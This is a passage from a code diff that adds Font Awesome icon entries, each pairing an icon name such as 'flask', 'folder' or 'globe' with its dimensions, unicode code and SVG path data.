8.8-7.2 16-16 16z"], + "flask": [448, 512, [], "f0c3", "M437.2 403.5L320 215V64h8c13.3 0 24-10.7 24-24V24c0-13.3-10.7-24-24-24H120c-13.3 0-24 10.7-24 24v16c0 13.3 10.7 24 24 24h8v151L10.8 403.5C-18.5 450.6 15.3 512 70.9 512h306.2c55.7 0 89.4-61.5 60.1-108.5zM137.9 320l48.2-77.6c3.7-5.2 5.8-11.6 5.8-18.4V64h64v160c0 6.9 2.2 13.2 5.8 18.4l48.2 77.6h-172z"], + "flushed": [496, 512, [], "f579", "M344 200c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm-192 0c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM80 224c0-39.8 32.2-72 72-72s72 32.2 72 72-32.2 72-72 72-72-32.2-72-72zm232 176H184c-21.2 0-21.2-32 0-32h128c21.2 0 21.2 32 0 32zm32-104c-39.8 0-72-32.2-72-72s32.2-72 72-72 72 32.2 72 72-32.2 72-72 72z"], + "folder": [512, 512, [], "f07b", "M464 128H272l-64-64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V176c0-26.51-21.49-48-48-48z"], + "folder-minus": [512, 512, [], "f65d", "M464 128H272l-64-64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V176c0-26.51-21.49-48-48-48zm-96 168c0 8.84-7.16 16-16 16H160c-8.84 0-16-7.16-16-16v-16c0-8.84 7.16-16 16-16h192c8.84 0 16 7.16 16 16v16z"], + "folder-open": [576, 512, [], "f07c", "M572.694 292.093L500.27 416.248A63.997 63.997 0 0 1 444.989 448H45.025c-18.523 0-30.064-20.093-20.731-36.093l72.424-124.155A64 64 0 0 1 152 256h399.964c18.523 0 30.064 20.093 20.73 36.093zM152 224h328v-48c0-26.51-21.49-48-48-48H272l-64-64H48C21.49 64 0 85.49 0 112v278.046l69.077-118.418C86.214 242.25 117.989 224 152 224z"], + "folder-plus": [512, 512, [], "f65e", "M464,128H272L208,64H48A48,48,0,0,0,0,112V400a48,48,0,0,0,48,48H464a48,48,0,0,0,48-48V176A48,48,0,0,0,464,128ZM359.5,296a16,16,0,0,1-16,16h-64v64a16,16,0,0,1-16,16h-16a16,16,0,0,1-16-16V312h-64a16,16,0,0,1-16-16V280a16,16,0,0,1,16-16h64V200a16,16,0,0,1,16-16h16a16,16,0,0,1,16,16v64h64a16,16,0,0,1,16,16Z"], + "font": [448, 512, [], "f031", "M432 416h-23.41L277.88 53.69A32 32 0 0 0 247.58 32h-47.16a32 32 0 0 0-30.3 21.69L39.41 416H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-19.58l23.3-64h152.56l23.3 64H304a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM176.85 272L224 142.51 271.15 272z"], + "font-awesome-logo-full": [3992, 512, ["Font Awesome"], "f4e6", "M454.6 0H57.4C25.9 0 0 25.9 0 57.4v397.3C0 486.1 25.9 512 57.4 512h397.3c31.4 0 57.4-25.9 57.4-57.4V57.4C512 25.9 486.1 0 454.6 0zm-58.9 324.9c0 4.8-4.1 6.9-8.9 8.9-19.2 8.1-39.7 15.7-61.5 15.7-40.5 0-68.7-44.8-163.2 2.5v51.8c0 30.3-45.7 30.2-45.7 0v-250c-9-7-15-17.9-15-30.3 0-21 17.1-38.2 38.2-38.2 21 0 38.2 17.1 38.2 38.2 0 12.2-5.8 23.2-14.9 30.2v21c37.1-12 65.5-34.4 146.1-3.4 26.6 11.4 68.7-15.7 76.5-15.7 5.5 0 10.3 4.1 10.3 8.9v160.4zm432.9-174.2h-137v70.1H825c39.8 0 40.4 62.2 0 62.2H691.6v105.6c0 45.5-70.7 46.4-70.7 0V128.3c0-22 18-39.8 39.8-39.8h167.8c39.6 0 40.5 62.2.1 62.2zm191.1 23.4c-169.3 0-169.1 252.4 0 252.4 169.9 0 169.9-252.4 0-252.4zm0 196.1c-81.6 0-82.1-139.8 0-139.8 82.5 0 82.4 139.8 0 139.8zm372.4 53.4c-17.5 0-31.4-13.9-31.4-31.4v-117c0-62.4-72.6-52.5-99.1-16.4v133.4c0 41.5-63.3 41.8-63.3 0V208c0-40 63.1-41.6 63.1 0v3.4c43.3-51.6 162.4-60.4 162.4 39.3v141.5c.3 30.4-31.5 31.4-31.7 31.4zm179.7 2.9c-44.3 0-68.3-22.9-68.3-65.8V235.2H1488c-35.6 0-36.7-55.3 0-55.3h15.5v-37.3c0-41.3 63.8-42.1 63.8 0v37.5h24.9c35.4 0 35.7 55.3 0 55.3h-24.9v108.5c0 29.6 26.1 26.3 27.4 26.3 31.4 0 52.6 56.3-22.9 56.3zM1992 123c-19.5-50.2-95.5-50-114.5 0-107.3 275.7-99.5 252.7-99.5 262.8 0 42.8 58.3 51.2 72.1 14.4l13.5-35.9H2006l13 35.9c14.2 37.7 72.1 27.2 72.1-14.4 0-10.1 5.3 6.8-99.1-262.8zm-108.9 179.1l51.7-142.9 51.8 142.9h-103.5zm591.3-85.6l-53.7 176.3c-12.4 41.2-72 41-84 0l-42.3-135.9-42.3 135.9c-12.4 40.9-72 41.2-84.5 0l-54.2-176.3c-12.5-39.4 49.8-56.1 60.2-16.9L2213 342l45.3-139.5c10.9-32.7 59.6-34.7 71.2 0l45.3 139.5 39.3-142.4c10.3-38.3 72.6-23.8 60.3 16.9zm275.4 75.1c0-42.4-33.9-117.5-119.5-117.5-73.2 0-124.4 56.3-124.4 126 0 77.2 55.3 126.4 128.5 126.4 31.7 0 93-11.5 93-39.8 0-18.3-21.1-31.5-39.3-22.4-49.4 26.2-109 8.4-115.9-43.8h148.3c16.3 0 29.3-13.4 29.3-28.9zM2571 277.7c9.5-73.4 113.9-68.6 118.6 0H2571zm316.7 148.8c-31.4 0-81.6-10.5-96.6-31.9-12.4-17 2.5-39.8 21.8-39.8 16.3 0 36.8 22.9 77.7 22.9 27.4 0 40.4-11 40.4-25.8 0-39.8-142.9-7.4-142.9-102 0-40.4 35.3-75.7 98.6-75.7 31.4 0 74.1 9.9 87.6 29.4 10.8 14.8-1.4 36.2-20.9 36.2-15.1 0-26.7-17.3-66.2-17.3-22.9 0-37.8 10.5-37.8 23.8 0 35.9 142.4 6 142.4 103.1-.1 43.7-37.4 77.1-104.1 77.1zm266.8-252.4c-169.3 0-169.1 252.4 0 252.4 170.1 0 169.6-252.4 0-252.4zm0 196.1c-81.8 0-82-139.8 0-139.8 82.5 0 82.4 139.8 0 139.8zm476.9 22V268.7c0-53.8-61.4-45.8-85.7-10.5v134c0 41.3-63.8 42.1-63.8 0V268.7c0-52.1-59.5-47.4-85.7-10.1v133.6c0 41.5-63.3 41.8-63.3 0V208c0-40 63.1-41.6 63.1 0v3.4c9.9-14.4 41.8-37.3 78.6-37.3 35.3 0 57.7 16.4 66.7 43.8 13.9-21.8 45.8-43.8 82.6-43.8 44.3 0 70.7 23.4 70.7 72.7v145.3c.5 17.3-13.5 31.4-31.9 31.4 3.5.1-31.3 1.1-31.3-31.3zM3992 291.6c0-42.4-32.4-117.5-117.9-117.5-73.2 0-127.5 56.3-127.5 126 0 77.2 58.3 126.4 131.6 126.4 31.7 0 91.5-11.5 91.5-39.8 0-18.3-21.1-31.5-39.3-22.4-49.4 26.2-110.5 8.4-117.5-43.8h149.8c16.3 0 29.1-13.4 29.3-28.9zm-180.5-13.9c9.7-74.4 115.9-68.3 120.1 0h-120.1z"], + "football-ball": [496, 512, [], "f44e", "M481.5 60.3c-4.8-18.2-19.1-32.5-37.3-37.4C420.3 16.5 383 8.9 339.4 8L496 164.8c-.8-43.5-8.2-80.6-14.5-104.5zm-467 391.4c4.8 18.2 19.1 32.5 37.3 37.4 23.9 6.4 61.2 14 104.8 14.9L0 347.2c.8 43.5 8.2 80.6 14.5 104.5zM4.2 283.4L220.4 500c132.5-19.4 248.8-118.7 271.5-271.4L275.6 12C143.1 31.4 26.8 130.7 4.2 283.4zm317.3-123.6c3.1-3.1 8.2-3.1 11.3 0l11.3 11.3c3.1 3.1 3.1 8.2 0 11.3l-28.3 28.3 28.3 28.3c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-28.3-28.3-22.6 22.7 28.3 28.3c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0L248 278.6l-22.6 22.6 28.3 28.3c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-28.3-28.3-28.3 28.3c-3.1 3.1-8.2 3.1-11.3 0l-11.3-11.3c-3.1-3.1-3.1-8.2 0-11.3l28.3-28.3-28.3-28.2c-3.1-3.1-3.1-8.2 0-11.3l11.3-11.3c3.1-3.1 8.2-3.1 11.3 0l28.3 28.3 22.6-22.6-28.3-28.3c-3.1-3.1-3.1-8.2 0-11.3l11.3-11.3c3.1-3.1 8.2-3.1 11.3 0l28.3 28.3 22.6-22.6-28.3-28.3c-3.1-3.1-3.1-8.2 0-11.3l11.3-11.3c3.1-3.1 8.2-3.1 11.3 0l28.3 28.3 28.3-28.5z"], + "forward": [512, 512, [], "f04e", "M500.5 231.4l-192-160C287.9 54.3 256 68.6 256 96v320c0 27.4 31.9 41.8 52.5 24.6l192-160c15.3-12.8 15.3-36.4 0-49.2zm-256 0l-192-160C31.9 54.3 0 68.6 0 96v320c0 27.4 31.9 41.8 52.5 24.6l192-160c15.3-12.8 15.3-36.4 0-49.2z"], + "frog": [576, 512, [], "f52e", "M446.53 97.43C439.67 60.23 407.19 32 368 32c-39.23 0-71.72 28.29-78.54 65.54C126.75 112.96-.5 250.12 0 416.98.11 451.9 29.08 480 64 480h304c8.84 0 16-7.16 16-16 0-17.67-14.33-32-32-32h-79.49l35.8-48.33c24.14-36.23 10.35-88.28-33.71-106.6-23.89-9.93-51.55-4.65-72.24 10.88l-32.76 24.59c-7.06 5.31-17.09 3.91-22.41-3.19-5.3-7.08-3.88-17.11 3.19-22.41l34.78-26.09c36.84-27.66 88.28-27.62 125.13 0 10.87 8.15 45.87 39.06 40.8 93.21L469.62 480H560c8.84 0 16-7.16 16-16 0-17.67-14.33-32-32-32h-53.63l-98.52-104.68 154.44-86.65A58.16 58.16 0 0 0 576 189.94c0-21.4-11.72-40.95-30.48-51.23-40.56-22.22-98.99-41.28-98.99-41.28zM368 136c-13.26 0-24-10.75-24-24 0-13.26 10.74-24 24-24 13.25 0 24 10.74 24 24 0 13.25-10.75 24-24 24z"], + "frown": [496, 512, [], "f119", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm-160 0c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm170.2 218.2C315.8 367.4 282.9 352 248 352s-67.8 15.4-90.2 42.2c-13.5 16.3-38.1-4.2-24.6-20.5C161.7 339.6 203.6 320 248 320s86.3 19.6 114.7 53.8c13.6 16.2-11 36.7-24.5 20.4z"], + "frown-open": [496, 512, [], "f57a", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM136 208c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm187.3 183.3c-31.2-9.6-59.4-15.3-75.3-15.3s-44.1 5.7-75.3 15.3c-11.5 3.5-22.5-6.3-20.5-18.1 7-40 60.1-61.2 95.8-61.2s88.8 21.3 95.8 61.2c2 11.9-9.1 21.6-20.5 18.1zM328 240c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"], + "funnel-dollar": [640, 512, [], "f662", "M433.46 165.94l101.2-111.87C554.61 34.12 540.48 0 512.26 0H31.74C3.52 0-10.61 34.12 9.34 54.07L192 256v155.92c0 12.59 5.93 24.44 16 32l79.99 60c20.86 15.64 48.47 6.97 59.22-13.57C310.8 455.38 288 406.35 288 352c0-89.79 62.05-165.17 145.46-186.06zM480 192c-88.37 0-160 71.63-160 160s71.63 160 160 160 160-71.63 160-160-71.63-160-160-160zm16 239.88V448c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-16.29c-11.29-.58-22.27-4.52-31.37-11.35-3.9-2.93-4.1-8.77-.57-12.14l11.75-11.21c2.77-2.64 6.89-2.76 10.13-.73 3.87 2.42 8.26 3.72 12.82 3.72h28.11c6.5 0 11.8-5.92 11.8-13.19 0-5.95-3.61-11.19-8.77-12.73l-45-13.5c-18.59-5.58-31.58-23.42-31.58-43.39 0-24.52 19.05-44.44 42.67-45.07V256c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16.29c11.29.58 22.27 4.51 31.37 11.35 3.9 2.93 4.1 8.77.57 12.14l-11.75 11.21c-2.77 2.64-6.89 2.76-10.13.73-3.87-2.43-8.26-3.72-12.82-3.72h-28.11c-6.5 0-11.8 5.92-11.8 13.19 0 5.95 3.61 11.19 8.77 12.73l45 13.5c18.59 5.58 31.58 23.42 31.58 43.39 0 24.53-19.04 44.44-42.67 45.07z"], + "futbol": [512, 512, [], "f1e3", "M504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zm-48 0l-.003-.282-26.064 22.741-62.679-58.5 16.454-84.355 34.303 3.072c-24.889-34.216-60.004-60.089-100.709-73.141l13.651 31.939L256 139l-74.953-41.525 13.651-31.939c-40.631 13.028-75.78 38.87-100.709 73.141l34.565-3.073 16.192 84.355-62.678 58.5-26.064-22.741-.003.282c0 43.015 13.497 83.952 38.472 117.991l7.704-33.897 85.138 10.447 36.301 77.826-29.902 17.786c40.202 13.122 84.29 13.148 124.572 0l-29.902-17.786 36.301-77.826 85.138-10.447 7.704 33.897C442.503 339.952 456 299.015 456 256zm-248.102 69.571l-29.894-91.312L256 177.732l77.996 56.527-29.622 91.312h-96.476z"], + "gamepad": [640, 512, [], "f11b", "M480.07 96H160a160 160 0 1 0 114.24 272h91.52A160 160 0 1 0 480.07 96zM248 268a12 12 0 0 1-12 12h-52v52a12 12 0 0 1-12 12h-24a12 12 0 0 1-12-12v-52H84a12 12 0 0 1-12-12v-24a12 12 0 0 1 12-12h52v-52a12 12 0 0 1 12-12h24a12 12 0 0 1 12 12v52h52a12 12 0 0 1 12 12zm216 76a40 40 0 1 1 40-40 40 40 0 0 1-40 40zm64-96a40 40 0 1 1 40-40 40 40 0 0 1-40 40z"], + "gas-pump": [512, 512, [], "f52f", "M336 448H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h320c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm157.2-340.7l-81-81c-6.2-6.2-16.4-6.2-22.6 0l-11.3 11.3c-6.2 6.2-6.2 16.4 0 22.6L416 97.9V160c0 28.1 20.9 51.3 48 55.2V376c0 13.2-10.8 24-24 24s-24-10.8-24-24v-32c0-48.6-39.4-88-88-88h-8V64c0-35.3-28.7-64-64-64H96C60.7 0 32 28.7 32 64v352h288V304h8c22.1 0 40 17.9 40 40v27.8c0 37.7 27 72 64.5 75.9 43 4.3 79.5-29.5 79.5-71.7V152.6c0-17-6.8-33.3-18.8-45.3zM256 192H96V64h160v128z"], + "gavel": [512, 512, [], "f0e3", "M504.971 199.362l-22.627-22.627c-9.373-9.373-24.569-9.373-33.941 0l-5.657 5.657L329.608 69.255l5.657-5.657c9.373-9.373 9.373-24.569 0-33.941L312.638 7.029c-9.373-9.373-24.569-9.373-33.941 0L154.246 131.48c-9.373 9.373-9.373 24.569 0 33.941l22.627 22.627c9.373 9.373 24.569 9.373 33.941 0l5.657-5.657 39.598 39.598-81.04 81.04-5.657-5.657c-12.497-12.497-32.758-12.497-45.255 0L9.373 412.118c-12.497 12.497-12.497 32.758 0 45.255l45.255 45.255c12.497 12.497 32.758 12.497 45.255 0l114.745-114.745c12.497-12.497 12.497-32.758 0-45.255l-5.657-5.657 81.04-81.04 39.598 39.598-5.657 5.657c-9.373 9.373-9.373 24.569 0 33.941l22.627 22.627c9.373 9.373 24.569 9.373 33.941 0l124.451-124.451c9.372-9.372 9.372-24.568 0-33.941z"], + "gem": [576, 512, [], "f3a5", "M485.5 0L576 160H474.9L405.7 0h79.8zm-128 0l69.2 160H149.3L218.5 0h139zm-267 0h79.8l-69.2 160H0L90.5 0zM0 192h100.7l123 251.7c1.5 3.1-2.7 5.9-5 3.3L0 192zm148.2 0h279.6l-137 318.2c-1 2.4-4.5 2.4-5.5 0L148.2 192zm204.1 251.7l123-251.7H576L357.3 446.9c-2.3 2.7-6.5-.1-5-3.2z"], + "genderless": [288, 512, [], "f22d", "M144 176c44.1 0 80 35.9 80 80s-35.9 80-80 80-80-35.9-80-80 35.9-80 80-80m0-64C64.5 112 0 176.5 0 256s64.5 144 144 144 144-64.5 144-144-64.5-144-144-144z"], + "ghost": [384, 512, [], "f6e2", "M186.1.09C81.01 3.24 0 94.92 0 200.05v263.92c0 14.26 17.23 21.39 27.31 11.31l24.92-18.53c6.66-4.95 16-3.99 21.51 2.21l42.95 48.35c6.25 6.25 16.38 6.25 22.63 0l40.72-45.85c6.37-7.17 17.56-7.17 23.92 0l40.72 45.85c6.25 6.25 16.38 6.25 22.63 0l42.95-48.35c5.51-6.2 14.85-7.17 21.51-2.21l24.92 18.53c10.08 10.08 27.31 2.94 27.31-11.31V192C384 84 294.83-3.17 186.1.09zM128 224c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm128 0c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"], + "gift": [512, 512, [], "f06b", "M32 448c0 17.7 14.3 32 32 32h160V320H32v128zm256 32h160c17.7 0 32-14.3 32-32V320H288v160zm192-320h-42.1c6.2-12.1 10.1-25.5 10.1-40 0-48.5-39.5-88-88-88-41.6 0-68.5 21.3-103 68.3-34.5-47-61.4-68.3-103-68.3-48.5 0-88 39.5-88 88 0 14.5 3.8 27.9 10.1 40H32c-17.7 0-32 14.3-32 32v80c0 8.8 7.2 16 16 16h480c8.8 0 16-7.2 16-16v-80c0-17.7-14.3-32-32-32zm-326.1 0c-22.1 0-40-17.9-40-40s17.9-40 40-40c19.9 0 34.6 3.3 86.1 80h-86.1zm206.1 0h-86.1c51.4-76.5 65.7-80 86.1-80 22.1 0 40 17.9 40 40s-17.9 40-40 40z"], + "gifts": [640, 512, [], "f79c", "M240.6 194.1c1.9-30.8 17.3-61.2 44-79.8C279.4 103.5 268.7 96 256 96h-29.4l30.7-22c7.2-5.1 8.9-15.1 3.7-22.3l-9.3-13c-5.1-7.2-15.1-8.9-22.3-3.7l-32 22.9 11.5-30.6c3.1-8.3-1.1-17.5-9.4-20.6l-15-5.6c-8.3-3.1-17.5 1.1-20.6 9.4l-19.9 53-19.9-53.1C121 2.1 111.8-2.1 103.5 1l-15 5.6C80.2 9.7 76 19 79.2 27.2l11.5 30.6L58.6 35c-7.2-5.1-17.2-3.5-22.3 3.7l-9.3 13c-5.1 7.2-3.5 17.2 3.7 22.3l30.7 22H32c-17.7 0-32 14.3-32 32v352c0 17.7 14.3 32 32 32h168.9c-5.5-9.5-8.9-20.3-8.9-32V256c0-29.9 20.8-55 48.6-61.9zM224 480c0 17.7 14.3 32 32 32h160V384H224v96zm224 32h160c17.7 0 32-14.3 32-32v-96H448v128zm160-288h-20.4c2.6-7.6 4.4-15.5 4.4-23.8 0-35.5-27-72.2-72.1-72.2-48.1 0-75.9 47.7-87.9 75.3-12.1-27.6-39.9-75.3-87.9-75.3-45.1 0-72.1 36.7-72.1 72.2 0 8.3 1.7 16.2 4.4 23.8H256c-17.7 0-32 14.3-32 32v96h192V224h15.3l.7-.2.7.2H448v128h192v-96c0-17.7-14.3-32-32-32zm-272 0c-2.7-1.4-5.1-3-7.2-4.8-7.3-6.4-8.8-13.8-8.8-19 0-9.7 6.4-24.2 24.1-24.2 18.7 0 35.6 27.4 44.5 48H336zm199.2-4.8c-2.1 1.8-4.5 3.4-7.2 4.8h-52.6c8.8-20.3 25.8-48 44.5-48 17.7 0 24.1 14.5 24.1 24.2 0 5.2-1.5 12.6-8.8 19z"], + "glass-cheers": [640, 512, [], "f79f", "M639.4 433.6c-8.4-20.4-31.8-30.1-52.2-21.6l-22.1 9.2-38.7-101.9c47.9-35 64.8-100.3 34.5-152.8L474.3 16c-8-13.9-25.1-19.7-40-13.6L320 49.8 205.7 2.4c-14.9-6.2-32-.3-40 13.6L79.1 166.5C48.9 219 65.7 284.3 113.6 319.2L74.9 421.1l-22.1-9.2c-20.4-8.5-43.7 1.2-52.2 21.6-1.7 4.1.2 8.8 4.3 10.5l162.3 67.4c4.1 1.7 8.7-.2 10.4-4.3 8.4-20.4-1.2-43.8-21.6-52.3l-22.1-9.2L173.3 342c4.4.5 8.8 1.3 13.1 1.3 51.7 0 99.4-33.1 113.4-85.3l20.2-75.4 20.2 75.4c14 52.2 61.7 85.3 113.4 85.3 4.3 0 8.7-.8 13.1-1.3L506 445.6l-22.1 9.2c-20.4 8.5-30.1 31.9-21.6 52.3 1.7 4.1 6.4 6 10.4 4.3L635.1 444c4-1.7 6-6.3 4.3-10.4zM275.9 162.1l-112.1-46.5 36.5-63.4 94.5 39.2-18.9 70.7zm88.2 0l-18.9-70.7 94.5-39.2 36.5 63.4-112.1 46.5z"], + "glass-martini": [512, 512, [], "f000", "M502.05 57.6C523.3 36.34 508.25 0 478.2 0H33.8C3.75 0-11.3 36.34 9.95 57.6L224 271.64V464h-56c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h240c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40h-56V271.64L502.05 57.6z"], + "glass-martini-alt": [512, 512, [], "f57b", "M502.05 57.6C523.3 36.34 508.25 0 478.2 0H33.8C3.75 0-11.3 36.34 9.95 57.6L224 271.64V464h-56c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h240c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40h-56V271.64L502.05 57.6zM443.77 48l-48 48H116.24l-48-48h375.53z"], + "glass-whiskey": [512, 512, [], "f7a0", "M480 32H32C12.5 32-2.4 49.2.3 68.5l56 356.5c4.5 31.5 31.5 54.9 63.4 54.9h273c31.8 0 58.9-23.4 63.4-54.9l55.6-356.5C514.4 49.2 499.5 32 480 32zm-37.4 64l-30 192h-313L69.4 96h373.2z"], + "glasses": [576, 512, [], "f530", "M574.1 280.37L528.75 98.66c-5.91-23.7-21.59-44.05-43-55.81-21.44-11.73-46.97-14.11-70.19-6.33l-15.25 5.08c-8.39 2.79-12.92 11.86-10.12 20.24l5.06 15.18c2.79 8.38 11.85 12.91 20.23 10.12l13.18-4.39c10.87-3.62 23-3.57 33.16 1.73 10.29 5.37 17.57 14.56 20.37 25.82l38.46 153.82c-22.19-6.81-49.79-12.46-81.2-12.46-34.77 0-73.98 7.02-114.85 26.74h-73.18c-40.87-19.74-80.08-26.75-114.86-26.75-31.42 0-59.02 5.65-81.21 12.46l38.46-153.83c2.79-11.25 10.09-20.45 20.38-25.81 10.16-5.3 22.28-5.35 33.15-1.73l13.17 4.39c8.38 2.79 17.44-1.74 20.23-10.12l5.06-15.18c2.8-8.38-1.73-17.45-10.12-20.24l-15.25-5.08c-23.22-7.78-48.75-5.41-70.19 6.33-21.41 11.77-37.09 32.11-43 55.8L1.9 280.37A64.218 64.218 0 0 0 0 295.86v70.25C0 429.01 51.58 480 115.2 480h37.12c60.28 0 110.37-45.94 114.88-105.37l2.93-38.63h35.75l2.93 38.63C313.31 434.06 363.4 480 423.68 480h37.12c63.62 0 115.2-50.99 115.2-113.88v-70.25c0-5.23-.64-10.43-1.9-15.5zm-370.72 89.42c-1.97 25.91-24.4 46.21-51.06 46.21H115.2C86.97 416 64 393.62 64 366.11v-37.54c18.12-6.49 43.42-12.92 72.58-12.92 23.86 0 47.26 4.33 69.93 12.92l-3.13 41.22zM512 366.12c0 27.51-22.97 49.88-51.2 49.88h-37.12c-26.67 0-49.1-20.3-51.06-46.21l-3.13-41.22c22.67-8.59 46.08-12.92 69.95-12.92 29.12 0 54.43 6.44 72.55 12.93v37.54z"], + "globe": [496, 512, [], "f0ac", "M336.5 160C322 70.7 287.8 8 248 8s-74 62.7-88.5 152h177zM152 256c0 22.2 1.2 43.5 3.3 64h185.3c2.1-20.5 3.3-41.8 3.3-64s-1.2-43.5-3.3-64H155.3c-2.1 20.5-3.3 41.8-3.3 64zm324.7-96c-28.6-67.9-86.5-120.4-158-141.6 24.4 33.8 41.2 84.7 50 141.6h108zM177.2 18.4C105.8 39.6 47.8 92.1 19.3 160h108c8.7-56.9 25.5-107.8 49.9-141.6zM487.4 192H372.7c2.1 21 3.3 42.5 3.3 64s-1.2 43-3.3 64h114.6c5.5-20.5 8.6-41.8 8.6-64s-3.1-43.5-8.5-64zM120 256c0-21.5 1.2-43 3.3-64H8.6C3.2 212.5 0 233.8 0 256s3.2 43.5 8.6 64h114.6c-2-21-3.2-42.5-3.2-64zm39.5 96c14.5 89.3 48.7 152 88.5 152s74-62.7 88.5-152h-177zm159.3 141.6c71.4-21.2 129.4-73.7 158-141.6h-108c-8.8 56.9-25.6 107.8-50 141.6zM19.3 352c28.6 67.9 86.5 120.4 158 141.6-24.4-33.8-41.2-84.7-50-141.6h-108z"], + "globe-africa": [496, 512, [], "f57c", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm160 215.5v6.93c0 5.87-3.32 11.24-8.57 13.86l-15.39 7.7a15.485 15.485 0 0 1-15.53-.97l-18.21-12.14a15.52 15.52 0 0 0-13.5-1.81l-2.65.88c-9.7 3.23-13.66 14.79-7.99 23.3l13.24 19.86c2.87 4.31 7.71 6.9 12.89 6.9h8.21c8.56 0 15.5 6.94 15.5 15.5v11.34c0 3.35-1.09 6.62-3.1 9.3l-18.74 24.98c-1.42 1.9-2.39 4.1-2.83 6.43l-4.3 22.83c-.62 3.29-2.29 6.29-4.76 8.56a159.608 159.608 0 0 0-25 29.16l-13.03 19.55a27.756 27.756 0 0 1-23.09 12.36c-10.51 0-20.12-5.94-24.82-15.34a78.902 78.902 0 0 1-8.33-35.29V367.5c0-8.56-6.94-15.5-15.5-15.5h-25.88c-14.49 0-28.38-5.76-38.63-16a54.659 54.659 0 0 1-16-38.63v-14.06c0-17.19 8.1-33.38 21.85-43.7l27.58-20.69a54.663 54.663 0 0 1 32.78-10.93h.89c8.48 0 16.85 1.97 24.43 5.77l14.72 7.36c3.68 1.84 7.93 2.14 11.83.84l47.31-15.77c6.33-2.11 10.6-8.03 10.6-14.7 0-8.56-6.94-15.5-15.5-15.5h-10.09c-4.11 0-8.05-1.63-10.96-4.54l-6.92-6.92a15.493 15.493 0 0 0-10.96-4.54H199.5c-8.56 0-15.5-6.94-15.5-15.5v-4.4c0-7.11 4.84-13.31 11.74-15.04l14.45-3.61c3.74-.94 7-3.23 9.14-6.44l8.08-12.11c2.87-4.31 7.71-6.9 12.89-6.9h24.21c8.56 0 15.5-6.94 15.5-15.5v-21.7C359.23 71.63 422.86 131.02 441.93 208H423.5c-8.56 0-15.5 6.94-15.5 15.5z"], + "globe-americas": [496, 512, [], "f57d", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm82.29 357.6c-3.9 3.88-7.99 7.95-11.31 11.28-2.99 3-5.1 6.7-6.17 10.71-1.51 5.66-2.73 11.38-4.77 16.87l-17.39 46.85c-13.76 3-28 4.69-42.65 4.69v-27.38c1.69-12.62-7.64-36.26-22.63-51.25-6-6-9.37-14.14-9.37-22.63v-32.01c0-11.64-6.27-22.34-16.46-27.97-14.37-7.95-34.81-19.06-48.81-26.11-11.48-5.78-22.1-13.14-31.65-21.75l-.8-.72a114.792 114.792 0 0 1-18.06-20.74c-9.38-13.77-24.66-36.42-34.59-51.14 20.47-45.5 57.36-82.04 103.2-101.89l24.01 12.01C203.48 89.74 216 82.01 216 70.11v-11.3c7.99-1.29 16.12-2.11 24.39-2.42l28.3 28.3c6.25 6.25 6.25 16.38 0 22.63L264 112l-10.34 10.34c-3.12 3.12-3.12 8.19 0 11.31l4.69 4.69c3.12 3.12 3.12 8.19 0 11.31l-8 8a8.008 8.008 0 0 1-5.66 2.34h-8.99c-2.08 0-4.08.81-5.58 2.27l-9.92 9.65a8.008 8.008 0 0 0-1.58 9.31l15.59 31.19c2.66 5.32-1.21 11.58-7.15 11.58h-5.64c-1.93 0-3.79-.7-5.24-1.96l-9.28-8.06a16.017 16.017 0 0 0-15.55-3.1l-31.17 10.39a11.95 11.95 0 0 0-8.17 11.34c0 4.53 2.56 8.66 6.61 10.69l11.08 5.54c9.41 4.71 19.79 7.16 30.31 7.16s22.59 27.29 32 32h66.75c8.49 0 16.62 3.37 22.63 9.37l13.69 13.69a30.503 30.503 0 0 1 8.93 21.57 46.536 46.536 0 0 1-13.72 32.98zM417 274.25c-5.79-1.45-10.84-5-14.15-9.97l-17.98-26.97a23.97 23.97 0 0 1 0-26.62l19.59-29.38c2.32-3.47 5.5-6.29 9.24-8.15l12.98-6.49C440.2 193.59 448 223.87 448 256c0 8.67-.74 17.16-1.82 25.54L417 274.25z"], + "globe-asia": [496, 512, [], "f57e", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm-11.34 